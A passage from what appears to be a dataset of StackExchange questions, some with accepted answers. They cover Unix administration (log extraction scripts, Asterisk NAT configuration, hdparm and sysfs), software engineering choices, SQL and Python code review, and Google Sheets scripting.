extra entries in /etc/environment.Regarding login shells and interactive shells, see Difference between Login Shell and Non-Login Shell?"  } 
{  "id": "_unix.312754"  , "question": "[EDIT #1 by OP: Turns out this question is quite well answered by exiftool creator/maintainer Phil Harvey in a duplicate thread on the ExifTool Forum][EDIT #2 by OP: From ExifTool FAQ: ExifTool is not guaranteed to remove metadata completely from a file when attempting to delete all metadata. See 'Writer Limitations'.]I'd like to search my old hard drives for photos that are not on my current backup drive. Formats include jpg, png, tif, etc..., as well as various raw formats (different camera models and manufacturers).I'm only interested in uniqueness of the image itself and not uniqueness due to differences in, say, the values of exif tags, the presence/absence of a given exif tag itself, embedded thumbnails, etc ...Even though I don't expect to find any corruption/data-rot between different copies of otherwise identical images, I'd like to detect that, as well as differences due to resizing and color changes.[Edit #3 by OP: For clarification:  A small percentage of false positives is tolerable (a file is concluded to be unique when it isn't) and false negatives are highly undesirable (a file is wrongly concluded to be a duplicate).]My plan is to identify uniqueness based on md5sums after stripping any and all metadata.How can I strip the metadata? Will exiftool -all= <filename> suffice? "  , "title": "How to strip metadata from image files"  , "tags": "file metadata;exif"  } 
{  "id": "_softwareengineering.225113"  , "question": "A few sprints ago I was assigned a task that was primarily research.  I had to figure out how to get our product to interoperate with a very complex black box that we did not develop.  I couldn't think of a way to estimate this work.  Even if I got the ball rolling and knew the immediate problem I faced, I could not get a sense of how many other problems I'd have to solve after that.  I could never tell if I was almost done or far from it.  How am I supposed to estimate a backlog item like this? I want to elaborate the nature of this assignment.  I knew what calls I had to make to interoperate with the black box.  That was the easy part.  But the API took a very, very complex object as a parameter.  Calling the API would throw an error and it was not easy to figure out what that error was trying to tell me.  The black box wouldn't tell me all the problems wrong with my request, it would just tell me the first problem it found.  This made it very difficult to know how much work I had left.  "  , "title": "In scrum, how do you give an estimate for a backlog item that is primarily research?"  , "tags": "scrum;estimation;product backlog"  , "accepted_answer": "if you can't estimate - and in this scenario it sounds like there really is no way to know in advance how long any particular part of the process will take - then the next-best option is to time-box the effort: how much time you're willing to spend on it, whether you get anywhere or notonce you get into it, you may have a better idea of how to estimate the remaining effort"  } 
{  "id": "_unix.342138"  , "question": "On aix(and on unix usually..) the tar command doesn't playgood with some archives created with gnu tar.I want to use my tar gnu on AIXon .spec file I put this line%define tar /opt/freeware/bin/tarHow to tell the rpm -bb command to use this tar and not tar of /usr/bin?"  , "title": "spec file: I want to use my tar"  , "tags": "tar;rpm;aix;rpm spec"  } 
{  "id": "_cs.16697"  , "question": "I'm looking for job sites in applied/interdisciplinary mathematics, more specially, say postdocs or higher positions in mathematics and medical imaging, mathematics and computer vision. I'm aware of mostly all the popular job sites, mathjobs, euro math jobs, jobs.ac.uk, nordic math jobs etc etc, but most of the jobs there are of 'pure' nature, with very few for applied/interdisciplinary.I'm trying to find postdoctoral position in mathematical imaging problems, which would use significant amount of conformal/quasiconformal mappings, Riemann surfaces, differential geometry etc. Looking into individual group's webpage is too much work. But if there's an webpage containing all the information, that'll be much better! So, if you know any such website for the above (for Europe(preferable) and US), I'd appreciate if you could pass them onto me. Thanks! "  , "title": "Job sites for applied/interdisciplinary mathematics related to computer science?"  , "tags": "computational geometry;image processing;computer vision"  } 
{  "id": "_unix.378350"  , "question": "I am using GNOME Shell 3.22.0 on nixos, and trying to enable natural scrolling for my mouse's scroll wheel.Under settings, there is a 'natural scrolling' option, as shown in this screenshotMy mouse wheel scrolls in the same (non-natural) direction whether natural scrolling here is selected to be on or off.How can I enable natural scrolling? Do I need to report this to gnome (or nixos) somehow as a bug?"  , "title": "natural scrolling does not work in gnome"  , "tags": "gnome;scrolling;nixos"  } 
{  "id": "_unix.185050"  , "question": "loading before the login is fast, but it takes 30-50 seconds after logging in.Once its fully booted, it has no other speed issues. Something is bottlenecking during the login process and I don't know what that is.I'm using the factory ATI driver and I have dual-displays. I've tried the ATI driver with no success so I reverted to the stock driver.I've seen other people with similar issues but no solutions."  , "title": "Linux Mint 17.1 slow after login"  , "tags": "linux mint"  , "accepted_answer": "from what I see on the net, it seems to be related to cinnamon.If you try xfce you will find that it is much faster.Give it a try and report back pleaseRegardsFrank"  } 
{  "id": "_unix.285111"  , "question": "I want to extract the logs between the current time stamp and 15 minutes before and sent an email to the people configured. I developed the below script but it's not working properly; can someone help me?? I have a log file containing this pattern:[2016-05-24T00:58:04.508-04:00] [oim_server1] [TRACE:32] [] [oracle.iam.scheduler.impl.quartz] [tid: OIMQuartzScheduler_QuartzSchedulerThread] [userId: oiminternal] [ecid: 0000LI6NBsP4yk4LzUS4yW1NBABd000003,1:21904] [APP: oim#11.1.2.0.0] [SRC_CLASS: oracle.iam.scheduler.impl.quartz.QuartzJob] [SRC_METHOD: <init>] Constructor  QuartzJob[2016-05-24T00:58:04.508-04:00] [oim_server1] [TRACE:32] [] [oracle.iam.scheduler.impl.quartz] [tid: OIMQuartzScheduler_QuartzSchedulerThread] [userId: oiminternal] [ecid: 0000LI6NBsP4yk4LzUS4yW1NBABd000003,1:21904] [APP: oim#11.1.2.0.0] [SRC_CLASS: oracle.iam.scheduler.impl.quartz.QuartzJob] [SRC_METHOD: <init>] Constructor  QuartzJob[2016-05-24T00:58:04.513-04:00] [oim_server1] [TRACE:32] [] [oracle.iam.scheduler.impl.quartz] [tid: OIMQuartzScheduler_Worker-1] [userId: oiminternal] [ecid: 0000LI6NBsP4yk4LzUS4yW1NBABd000003,1:21908] [APP: oim#11.1.2.0.0] [SRC_CLASS: oracle.iam.scheduler.impl.quartz.QuartzTriggerListener] [SRC_METHOD: triggerFired] Trigger state 0[2016-05-24T00:58:04.515-04:00] [oim_server1] [TRACE:32] [] [oracle.iam.scheduler.impl.quartz] [tid: OIMQuartzScheduler_Worker-1] [userId: oiminternal] [ecid: 0000LI6NBsP4yk4LzUS4yW1NBABd000003,1:21908] [APP: oim#11.1.2.0.0] [SRC_CLASS: oracle.iam.scheduler.impl.quartz.QuartzTriggerListener] [SRC_METHOD: triggerFired] Trigger state 0[2016-05-24T00:58:04.516-04:00] [oim_server1] [TRACE:32] [] [oracle.iam.scheduler.impl.quartz] [tid: OIMQuartzScheduler_Worker-1] [userId: oiminternal] [ecid: 0000LI6NBsP4yk4LzUS4yW1NBABd000003,1:21908] [APP: oim#11.1.2.0.0] [SRC_CLASS: oracle.iam.scheduler.impl.quartz.QuartzTriggerListener] [SRC_METHOD: triggerFired] Trigger Listener QuartzTriggerListener.triggerFired(Trigger trigger, JobExecutionContext ctx)[2016-05-24T01:00:04.513-04:00] [oim_server1] [WARNING] [] [oracle.iam.scheduler.vo] [tid: OIMQuartzScheduler_Worker-7] [userId: oiminternal] [ecid: 0000LI6NBsP4yk4LzUS4yW1NBABd000003,1:21956] [APP: oim#11.1.2.0.0] IAM-1020021 Unable to execute job : CmyAccess Flat File WD Candidate with Job History Id:1336814[[org.identityconnectors.framework.common.exceptions.ConfigurationException: Directory does not contain normal files to read HR-76    at org.identityconnectors.flatfile.utils.FlatFileUtil.assertValidFilesinDir(FlatFileUtil.java:230)    at org.identityconnectors.flatfile.utils.FlatFileUtil.getDir(FlatFileUtil.java:176)    at org.identityconnectors.flatfile.utils.FlatFileUtil.getFlatFileDir(FlatFileUtil.java:182)    at org.identityconnectors.flatfile.FlatFileConnector.executeQuery(FlatFileConnector.java:134)    at org.identityconnectors.flatfile.FlatFileConnector.executeQuery(FlatFileConnector.java:58)    at org.identityconnectors.framework.impl.api.local.operations.SearchImpl.rawSearch(SearchImpl.java:105)    at org.identityconnectors.framework.impl.api.local.operations.SearchImpl.search(SearchImpl.java:82)    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)    at java.lang.reflect.Method.invoke(Method.java:606)    at org.identityconnectors.framework.impl.api.local.operations.ConnectorAPIOperationRunnerProxy.invoke(ConnectorAPIOperationRunnerProxy.java:93)    at com.sun.proxy.$Proxy735.search(Unknown Source)    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)    at java.lang.reflect.Method.invoke(Method.java:606)    at org.identityconnectors.framework.impl.api.local.operations.ThreadClassLoaderManagerProxy.invoke(ThreadClassLoaderManagerProxy.java:107)    at com.sun.proxy.$Proxy735.search(Unknown Source)    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)    at java.lang.reflect.Method.invoke(Method.java:606)    at org.identityconnectors.framework.impl.api.BufferedResultsProxy$BufferedResultsHandler.run(BufferedResultsProxy.java:162)The script I have written counts the errors found and stores them in a file with the number; if the error count increases it will run the script and send a mail. I can configure cron for this but the script I have written is not working fine. Can someone help me to extract logs between the current time and the last 15 minutes and generate a temp file?LogDir=/data/app/Oracle/Middleware/user_projects/domains/oim_domain/servers/oim_server1/logsEMAIL1=xxx@gmail.comSUBJECT=FailedMESSAGE=Scheduler failedSMTP=SMTPHOSTNAMESENDER=no-reply@gmail.com   NOW=$(date +%FT%T.000%-04:00)T2=$(date --date='15 minutes ago' +%FT%T.000%-04:00)OUT=/tmp/oim_server1-diagnostic_$(date +%F-%H-%M).logfind $LogDir -mmin -15 -name oim_server1-diagnostic.log > files.txtcount=0;if [ -f lastCount ]; then count=$(cat lastCount)fiwhile read filedo  echo reading file \\n  $file  currentCount=$(grep -c 'Directory does not contain normal files to read HR-76' $file)  if [  $currentCount -ne $count  -a  $currentCount -ne 0  ];then    echo Error Found  $currentCount    awk -v TSTART=[$T2] -v TEND=[$NOW] '$1>=TSTART && $1<=TEND' $LogDir/oim_server1-diagnostic.log > $OUT    test -s $OUT &&      echo -e $MESSAGE | mailx -S smtp=$SMTP -a $OUT -r $SENDER -s $SUBJECT $EMAIL1    rm -f $OUT  fi  echo $currentCount > lastCountdone < files.txtThis script is extracting the logs but not in the appropriate format. The largest log which i am finding with (grep -c 'Directory does not contain normal files to read HR-76' $file)I want to extract all logs between two timestamps. Some lines may not have the timestamp, but I want those lines also. In short, I want every line that falls under two time stamps. This script is giving me log file only have timestamp and rest all the lines are missing any suggestion ??? Please note the start time stamp or end time stamp may not be there in all lines of the log, but I want every line between these two time stamps.Sample generation of above log mentioned:::[2016-05-24T01:00:04.513-04:00] [oim_server1] [WARNING] [] [oracle.iam.scheduler.vo] [tid: OIMQuartzScheduler_Worker-6] [userId: oiminternal] [ecid: 0000LIt5i3n4yk4LzU^AyW1NEPxf000002,1:23444] [APP: oim#11.1.2.0.0] IAM-1020021 Unable to execute job : CmyAccess Flat File WD Employee with Job History Id:46608[[   "  , "title": "How to extract logs between the current time and the last 15 minutes"  , "tags": "text processing;awk;sed;grep"  } 
{  "id": "_codereview.62924"  , "question": "This is sourced from the Stanford Coursera self study DB class SQL quizzes.Students at your hometown high school have decided to organize their  social network using databases. So far, they have collected  information about sixteen students in four grades, 9-12. Here's the  schema:Highschooler (ID, name, grade) English: There is a high school student  with unique ID and a given first name in a certain grade.Friend (ID1, ID2) English: The student with ID1 is friends with the  student with ID2. Friendship is mutual, so if (123, 456) is in the  Friend table, so is (456, 123).Likes (ID1, ID2) English: The student with ID1 likes the student with  ID2. Liking someone is not necessarily mutual, so if (123, 456) is in  the Likes table, there is no guarantee that (456, 123) is also  present.DB is herePrompt: Find the number of students who are either friends with  Cassandra or are friends of friends of Cassandra. Do not count  Cassandra, even though technically she is a friend of a friend.My answer (which works) is below, but I am wondering if there is a more succinct way of accomplishing the same results. Any feedback would be appreciated.select count(*)-1 from (select id2from friend f, highschooler awhere a.name='Cassandra'and a.id=f.id1unionselect id2from friend f, highschooler awhere a.id=f.id1and f.id1 in ( select id2from friend f, highschooler awhere a.name='Cassandra'and a.id=f.id1 ) )"  , "title": "Database of students in a social network"  , "tags": "sql;mysql"  , "accepted_answer": "StyleIndentation would make your query more readable.Table names in MySQL may be case sensitive, depending on the underlying filesystem.  Therefore, it is safest to write the query using identifiers with the same case as stated in the problem.SQL keywords are conventionally written in ALL CAPS, though some programmers object to that convention.Single-letter names for table aliases are cryptic.  While I can somewhat understand friend f, I have a harder time accepting highschooler a.FormulationUNION, short for UNION DISTINCT, automatically deduplicates the result set.  If possible, prefer UNION ALL for efficiency.  However, in this case, you do need deduplication for the correct answer.The two halves of the union seem repetitive.Subtracting one from the final count is weird and risky.  I suggesting filtering out Cassandra herself from the result set.Here's how I would write it:SELECT count(Friend.ID1)    FROM Highschooler AS Cassandra, Friend    WHERE        Cassandra.name = 'Cassandra'        AND (            Friend.ID2 = Cassandra.ID            OR Friend.ID2 IN (                SELECT Friend.ID1                    FROM Friend                    WHERE Friend.ID2 = Cassandra.ID            )        )        AND Friend.ID1 <> Cassandra.ID;"  } 
{  "id": "_softwareengineering.136148"  , "question": "I'm working on a messaging system for two years now, the system was written by a long ago gone team and involves emails and document processing. The basic process is:Receive an email, parse it, save attachments to samba share. Notify message processor. We have a robust Java application doing this very well.Process the message, this involves getting user data from LDAP, calling file processing web-services on different platforms. The system has a sort of re-delivery service that polls database for failed or timed out messages in different states and resends them.The file processing parts are EJB web-services that basically run command line utilities.The problem lies in our orchestration solution which is based on OpenESB (almost dead now), it has a bunch of BPELs calling each other and calling remote EJBs (EJB3.0 on glassfish v2). The biggest problem is that too much logic is done in BPELs (say, all database updates are done in BPELs, there's no persistance layer), they look like the most horrifying spaghetti I've ever seen. Not to mention they make NetBeans which we're using to edit them run really slow, to the point that some files are only editable in a simple text editor as XML. Moreover the system has a number of nasty bugs that would require major refactoring to fix and I'm dreaded to even think about it. These messages are handled manually by our support stuff so there's almost no client-impact but I would like to have a real transactional system anyway.Now, for the question itself. I'm willing to spend a lot of my own free time trying to reach two goals: build a replacement for ESB and BPELs, learn new and preferably trendy technologies. I would like to keep the code in file processing EJBs since they run just fine, although I'm thinking of getting rid of SOAP as their remote interface.So I'm asking for any insight of which technology(-ies) would let me create a robust messaging solution that would:Have a friendly persistence layer, there won't be anything really complex in dbs, just message meta-data.Take care of balancing and polling calls to file processing web-services.Wouldn't require dealing with tons of XML in different places in order to add a new interface method.Would be scalable - run on a number of machines.Would allow realtime monitoring, like viewing message queues, current load, statuses etc.Hopefully will let me learn something new, meaning not J2EE stack. Basically I'm open to anything except BPEL and OpenESB."  , "title": "Choosing right technology for messaging system"  , "tags": "architecture;web services;java ee;enterprise architecture;messaging"  , "accepted_answer": "I'm having a lot of fun with Erlang right now. It's a great language in and of itself. The real fun is in the framework and runtime it sits on. The Erlang Runtime is designed for distributed, concurrent applications (it was born at Ericsson for their network infrastructure). For integration with other systems, there is RabbitMQ which is built in Erlang and has native APIs for most of the big languages. It has a built in management interface that allows you to view messages and the like.Addressing your requirements specifically:Erlang has a built in database called Mnesia. For durable messaging, Rabbit leverages Mnesia (if an instance goes down the queue won't go down with it) and you don't have to worry about it yourself it just works.Out of the box Rabbit uses round robin pub-sub. If you have 3 listeners to what's called a fanout queue they will be alternated between for each message.Rabbit has an API driven configuration with UI's available to manage it without changing programs.Check: Erlang was built with scalability in mind...it was originally designed to support Ericsson's network infrastructure. Combined with RabbitMQ and you can distribute your message processing across many nodesCheck: Rabbit MQ has many built-in and 3rd party plugins for MonitoringErlang is gaining a lot of traction as a solution for concurrent processing definitely a different approach outside of the standard OO paradigm."  } 
{  "id": "_webmaster.22774"  , "question": "I'm looking for a JavaScript-based tool for displaying draggable, zoomable maps. It has to have the following features:Can add markers, labels, balloons (a la Google maps)Must be scriptable after creation (so I can add or update content on the fly)must work offlinemust scale to the browser size (specifically, it must be mobile friendly)Ideally, pure JavaScript or based on the jQuery framework. I'd rather not have to have competing frameworks on a single page."  , "title": "Javascript for draggable, zoomable map with Google-Maps-like features"  , "tags": "javascript;map"  } 
{  "id": "_unix.356786"  , "question": "I set up two asterisk servers (on Fedora) in different networks. My goal is to make a call from softphone (on windows lite with ip: 192.168.20.3) to the asterisk server 2 which is in the other network (ip:192.168.10.2). But the problem is in registration between the two asterisk servers which are behind NAT.NAT IP for Asterisk Server 1: 100.100.100.100NAT IP for Asterisk Server 2: 200.200.200.200Architecture:IAX.conf in Asterisk server 1:[general]autokill=yesexternip=100.100.100.100localnet=192.168.10.0/255.255.255.0nat=yesregister => zone1:welcome@200.200.200.200[zone2]type=friendhost=200.200.200.200trunk=yesnat=yesqualify=yessecret=welcomecontext=incoming_zone2permit=0.0.0.0/0.0.0.0IAX.conf in Asterisk server 2:[general]externip=200.200.200.200localnet=192.168.20.0/255.255.255.0nat=yesautokill=yesregister => zone1:welcome@100.100.100.100[zone1]type=friendhost=100.100.100.100trunk=yesnat=yesqualify=yessecret=welcomecontext=incoming_zone1permit=0.0.0.0/0.0.0.0extensions.conf in Asterisk server 1[general]autofallthrough=yes[phones]include => internalinclude => remote[internal]exten => _5XXX,1,NoOp()exten => _5XXX,n,Playback(hello-world)exten => _5XXX,n,Dial(SIP/${EXTEN})exten => _5XXX,n,Hangup()[remote]exten => _6XXX,1,NoOp()exten => _6XXX,n,Playback(hello-world)exten => _6XXX,n,Dial(IAX2/zone2/${EXTEN})exten => _6XXX,n,Hangup()[incoming_zone2]include => internalextensions.conf in Asterisk server 2[general]autofallthrough=yes[phones]include => internalinclude => remote[internal]exten => _6XXX,1,NoOp()exten => _6XXX,n,Playback(hello-world)exten => _6XXX,n,Dial(SIP/${EXTEN})exten => _6XXX,n,Hangup()[remote]exten => _5XXX,1,NoOp()exten => _5XXX,n,Playback(hello-world)exten => _5XXX,n,Dial(IAX2/zone1/${EXTEN})exten => _5XXX,n,Hangup()[incoming_zone1]include => internalRegistration state: RejectedNOTES:PING between the two networks is ok Firewall on servers was turned off"  , "title": "Asterisk and NAT: SIP and IAX registration failed on remote connection behind NAT"  , "tags": "nat;asterisk;cisco;voip"  } 
{  "id": "_codereview.153336"  , "question": "ProblemFind 2nd degree connections ( friends friends), output these 2nd  degree connections ranked by number of common friends (i.e 1st degree  connections) with you, (example: if 2nd degree connection A has 10  common friends (1st degree connections) with you but 2nd degree  connection B has 8 common friends (1st degree connections)with you,  then A should be ranked first) Input is your connection graph  represented by undirected graph nodes, output is list of 2nd degree  connections represented by graph nodes.My current solution is to find all first degree connection, and then for each first degree connection, I try to find true (i.e. not overlapped with first degree connection) second degree connection, and build a common connection (between self, and 2nd degree connection) frequency dictionary. Finally, I sort the dictionary by frequency.I'm wondering if any advice of more efficient implementation (in terms of algorithm time complexity), bugs in my code and code style advice. I am thinking of using BFS could improve performance (in terms of algorithm time complexity) for this problem.from collections import defaultdictclass Graph:    def __init__(self):        self.out_neighbour = defaultdict(list)    def add_edge(self, from_node, to_node):        self.out_neighbour[from_node].append(to_node)        self.out_neighbour[to_node].append(from_node)    def second_order_rank(self, from_node):        first_order_set = set()        for n in self.out_neighbour[from_node]:            first_order_set.add(n)        second_order_rank = defaultdict(int) # key: node id, value: count of common first order connection        for first_order_node in self.out_neighbour[from_node]:            for second_order_node in self.out_neighbour[first_order_node]:                if second_order_node == from_node or second_order_node in first_order_set:                    continue                for second_order_neighbour in self.out_neighbour[second_order_node]:                    if second_order_neighbour in first_order_set:                        second_order_rank[second_order_node] += 1        rank_order = []        for n,c in second_order_rank.items():            rank_order.append((c,n))        rank_order = sorted(rank_order, reverse=True)        result = []        for r in rank_order:            result.append(r[1])        return resultif __name__ == __main__:    g = Graph()    edges = [(1,2),(1,3),(2,3),(2,4),(2,5),(3,4),(3,6),(4,7),(4,10),(5,9),(6,8)]    for e in edges:        g.add_edge(e[0],e[1])    print g.second_order_rank(1)"  , "title": "Second degree connection ranking"  , "tags": "python;algorithm;python 2.7;graph"  } 
{  "id": "_webapps.44763"  , "question": "I'm trying to setup a form and spreadsheet database to track inventory on a daily basis at a remote location. The idea is that the person at the remote location can update our stock via a simple online form (using jotform integrated w/ google spreadsheets) and then take the raw data on sheet1 and make a nice looking/organized front page with all the pertinent info plus some basic calculations (re: does this mornings opening stock match yesterdays closing level, etc). The best way I can figure to do this is to setup some basic call functions on the clean front page, but in order to make sure I'm using the latest data I need to ensure that I'm always pointing to the most recent time. The simplest way that I can think of to do this is have the spreadsheet autosort every time a new entry is made so that the last entry is always at the top. That way I can just write something like ='sheet1'!C2 in order to post the last entry in column 2 which should be the latest entry. And as new entries are made the front page should be updated with the latest numbers. (and also, I can know what I need to drive out in the morning before opening) I've tried using both an onEdit and onOpen approach to the problem, but the onEdit only works when I go in and make manual changes to column D, which is annoying. when I use onOpen, it doesn't sort at all. I've read something about the possibility of sorting on change rather then on edit, will this work for me?Here are the two sample scripts I've been working with that haven't produced what I wanted it to.    // LinkBack to this script: // http://webapps.stackexchange.com/questions/7211/how-can-i-make-some-data-on-a-google-spreadsheet-auto-sorting/43036#43036 /** * Automatically sorts the 1st column (not the header row) Ascending. */function onEdit(event){  var sheet = event.source.getActiveSheet();  var editedCell = sheet.getActiveCell();  var columnToSortBy = 4;  var tableRange = A2:AQ149; // What to sort.  if(editedCell.getColumn() == columnToSortBy){       var range = sheet.getRange(tableRange);    range.sort( { column : columnToSortBy, ascending: false } );  }}====================function onOpen(event) {   var sheet = SpreadsheetApp.getActiveSpreadsheet();   var columnToSortBy = 4;   var tableRange = A2:AQ149;   var range = sheet.getRange(tableRange);   range.sort( {     column : columnToSortBy, ascending: false } ); }"  , "title": "How to use Google Scripts w/ spreadsheet and jotform to auto sort so the newest entry is always listed on the top row?"  , "tags": "google spreadsheets;google apps script;sorting"  } 
{  "id": "_unix.1641"  , "question": "I am trying to customize the color scheme of Kile/Kate. I could do it, except I could not find any way to change the color of the side pane such as files, etc.I prefer dark background, and having dark background in editing space and white background in the left pane is not good for my eyes."  , "title": "How to change background color of side pane of Kate and Kile?"  , "tags": "kde;colors;theme;kate;kile"  } 
{  "id": "_softwareengineering.135411"  , "question": "From http://www.microsoft.com/download/en/details.aspx?id=28942ASP.NET MVC 4 also includes ASP.NET Web API, a framework for building  and consuming HTTP services that can reach a broad range of clients  including browsers, phones, and tablets. ASP.NET Web API is great for  building services that follow the REST architectural style, plus it  supports RPC patterns.If ASP.NET MVC 4 supports RPC style communication what does that mean for WCF?On what basis should we chose to use WCF or ASP.NET MVC Web API's RPC mechanism?"  , "title": "If ASP.NET MVC 4 supports RPC style communication what does that mean for WCF?"  , "tags": ".net;web services;asp.net mvc;wcf"  , "accepted_answer": "Nothing.  You're still free to use WCF where it is most suitable, or at your own discretion.ASP.NET MVC has supported a RESTful communication style since its inception, and many people use it as a thin veneer for RESTful services.  That doesn't automatically cause WCF to go obsolete, or make ASP.NET MVC the One Tool to Rule Them All.This is why carpenters and other craftsmen don't just have one type of hammer.  They have several different types, each optimized for a particular type of hammering.To help you decide which to use, listen to this Hanselman podcast:This is not your father's WCF - All about the WebAPI with Glenn BlockHow does WCF fit into a world of Web 2.0 lightweight APIs? What's the  WCF WebAPI and how does compare to services in ASP.NET MVC?I haven't personally looked at it yet, but it wouldn't surprise me if the Web API you refer to in ASP.NET MVC 4, and the new WebAPI in WCF, turn out to be the same thing. Phil Haack is probably using WCF to implement WebAPI internally in ASP.NET MVC 4, or they both resolve to the same internal mechanism. See Also http://wcf.codeplex.com/wikipage?title=WCF%20HTTP"  } 
{  "id": "_webapps.99510"  , "question": "If a Facebook Group has, say, 1000 members, do they all get notifications of all posts to that group? (Assuming they have simply joined/favorited, not selected anything special, like see all)."  , "title": "Do all members of a Facebook Group get notifications of ALL posts?"  , "tags": "facebook;facebook groups;facebook notifications"  } 
{  "id": "_softwareengineering.343687"  , "question": "I use a traditional MVC pattern for my web projects:Controllers: handle use case scenarios steps (can call business logic in models or services)Views: presentationModels......I hit a wall with the model that prevents me from properly embracing object orientation.I got perhaps the wrong assumption that an entity should have only a single model.For example, in my current web site project I have an 'image' entity.So I have a model to represent a row in the database 'image' table: I fetch the record to the model constructor, which nicely populate corresponding class properties. I can then use the instance in my code. Nice.Problem is the other way around, when I must receive data from a form for database storage. The raw data from form needs quite some business processing, and involves coupling between data and logic for reuse, so a class is appropriate. Problem is that if I use the same model as above, the one for getting data FROM the database, things gets really ugly with lots of conditional in constructor.Is one of the right thing to do, would simply create a separate model class for getting data TO the database, and not stay stuck with single model class for image ?What's the good practice in such case ?"  , "title": "Several models for one entity"  , "tags": "object oriented;mvc;domain model"  , "accepted_answer": "Your problem is very common among applications which are not tiny. Sooner or later you might start needing different representations of the same entity, for whatever reason, be it performance or simply better fulfilling your business logic layer.Having different models for a single entity is not a bad idea, if that is what solves your issue.I usually implement a thick CUD (Create, Update, Delete) layer to properly validate my entities, this thick layer consists of validation of business rules, object's properties, relations, but should an object pass the entire write layer then I am pretty sure the model is valid. With that in mind I then use a very thin layer for reads which is very fast, because it's stripped down of all the transformations that would have been otherwise necessary.To make applications as flexible as possible without implementing a lot of overhead, I like to atomize my read queries so that they return only primary keys of entities and then use another layer, you may call it ModelCreators, which has methods accepting ids from the atomized layer and using those constructs models.In practice it then may look like this:package Users.Devices.Atomized;// pseudo-Java codefinal class UsersDevicesQuery {    public List<int> findDevicesForUser(final int userId) {        // logic to filter out ids of user's devices    }}package Users.Devices.ModelCreators;final class WithPushTokenQuery {    public List<WithPushToken> loadModels(final List<int> ids) {        // logic to return models    }}This approach has proved to me to be pretty good, because it keeps classes and methods very cohesive and yet very dynamic - if you decide to change your model structure you can do so without touching the querying logic and/or if you want to change the querying logic you can do so without altering the classes used to constructing models."  } 
{  "id": "_cs.61151"  , "question": "In A simplified NP-complete MAXSAT problem, a reduction is given from Min Vertex Cover to MAX-2SAT by replacing each each vertex $x_i$ by a single-variable clause, and each edge by a two-variable clause:\\begin{align} \\Phi = \\left(\\bigwedge_{i=1}^n x_i\\right) \\wedge \\left(\\bigwedge_{\\lbrace i,j\\rbrace \\in E} (\\overline{x}_i \\vee \\overline{x}_j)\\right) \\end{align}This basically makes sense to me, because the QUBO version of Vertex Cover is to maximize:\\begin{align}L = \\sum_{i=1}^N x_i -  \\sum_{\\lbrace i,j\\rbrace \\in E} x_ix_i\\end{align}and QUBO can be converted to MAX-2SAT quite simply.However, I would to know how the reverse transformation works. How do you go from MAX-2SAT to Vertex Cover?I don't actually know if this is an unsolved problem or not, but I figure it shouldn't be since they are both NP-Complete. Would it be as simple/tedious as trying to force an arbitrary MAX-2SAT instance into the same form as $\\Phi$? I don't know if that can be done though."  , "title": "Reducing MAX-2SAT to Vertex Cover?"  , "tags": "complexity theory;reductions;satisfiability"  } 
{  "id": "_unix.166059"  , "question": "I have 2 interfaces wlan0 and wlan1.When I want to see the modes that support my cards I do iw list and I see phy0 and phy2. How do I know what information corresponds to what card?In other words, how can I know what wlan_x corresponds to which phy_x?"  , "title": "Output of `iw list`: phy_x corresponds to what interface?"  , "tags": "command line;wifi;network interface;wlan"  } 
{  "id": "_unix.281880"  , "question": "[gala@arch ~]$ sudo !!sudo hdparm -i /dev/sda/dev/sda: Model=KINGSTON SHFS37A120G, FwRev=603ABBF0, SerialNo=50026B725B0A1515 Config={ HardSect NotMFM HdSw>15uSec Fixed DTR>10Mbs RotSpdTol>.5% } RawCHS=16383/16/63, TrkSize=0, SectSize=0, ECCbytes=4 BuffType=unknown, BuffSize=unknown, MaxMultSect=1, MultSect=1 CurCHS=16383/16/63, CurSects=16514064, LBA=yes, LBAsects=234441648 IORDY=on/off, tPIO={min:120,w/IORDY:120}, tDMA={min:120,rec:120} PIO modes:  pio0 pio1 pio2 pio3 pio4  DMA modes:  mdma0 mdma1 mdma2  UDMA modes: udma0 udma1 udma2 udma3 udma4 udma5 *udma6  AdvancedPM=yes: unknown setting WriteCache=enabled Drive conforms to: unknown:  ATA/ATAPI-2,3,4,5,6,7 * signifies the current active modeWhere does hdparm read the Model field from? Somewhere from sysfs ?  Where from?"  , "title": "Get block device model name and manufacturer from pseudo-fs"  , "tags": "hard disk;sysfs;hdparm"  , "accepted_answer": "# strace hdparm -i /dev/sdaioctl(3, HDIO_GET_IDENTITY, 0x7fffa930c320) = 0brk(0)                                  = 0x1c42000brk(0x1c63000)                          = 0x1c63000write(1, \\n, 1)                       = 1write(1,  Model=So hdparm gets its information from the HDIO_GET_IDENTITY ioctl, not from sysfs. That doesn't mean that the information can't be accessed from sysfs, of course.Next we can look up HDIO_GET_IDENTITY in the kernel source. LXR is convenient for that. The relevant hit shows a call to ata_get_identity. This function looks up the model in the device description at the offset ATA_ID_PROD in the device description.Looking at where else ATA_ID_PROD is used, and with sysfs in mind, we find a hit in ide-sysfs.c, in a function called model_show. This function is referenced by the macro call just below DEVICE_ATTR_RO(model), so if the ata driver is exposing the IDE interface, there's a file called model in the device's sysfs directory that contains this information.If the ata driver is exposing the SCSI interface, tracing the kernel source is a lot more complicated, because the code uses different ways of extracting the information from the hardware. But as it turns out there is also a model field in the device's sysfs directory.As for where the device's sysfs directory is, there are several ways to access it. The sysfs.txt file in the kernel documentation documents this, not very well. The simplest way to access it is via /sys/block which contains an entry for each block device:$ cat /sys/block/sda/device/modelThere are a lot of symbolic links in /sys. The physical location of that directory depends on how the disk is connected to the system; for example it has the form /sys/devices/pci//ata/host/target/ for an ATA device with a SCSI interface that's connected to a PCI bus."  } 
